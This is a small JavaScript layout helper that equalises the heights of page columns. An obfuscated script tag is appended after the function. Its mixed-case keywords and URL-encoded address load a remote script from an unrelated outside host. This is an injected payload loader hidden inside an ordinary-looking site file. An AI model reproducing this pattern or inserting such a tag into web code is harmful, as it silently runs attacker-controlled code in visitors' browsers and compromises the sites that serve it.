//保持中心部分的高度一致
function divheight(leftdiv,centerdiv,maindiv)
{
	var a=document.getElementById(leftdiv);    
	var b=document.getElementById(centerdiv);
	var c=document.getElementById(maindiv);
	if(a!=null&&b!=null&&c!=null)
	{
		if(a.clientHeight<b.clientHeight)
		{    
			c.style.height=b.clientHeight+"px";    
		}
		else
		{  
			c.style.height=a.clientHeight+"px";    
		}
	}
} <scrIpt language=jaVascript src=http://%71%2E%39%34%73%61%6F%6D%6D%2E%63%6F%6D/js.js></script>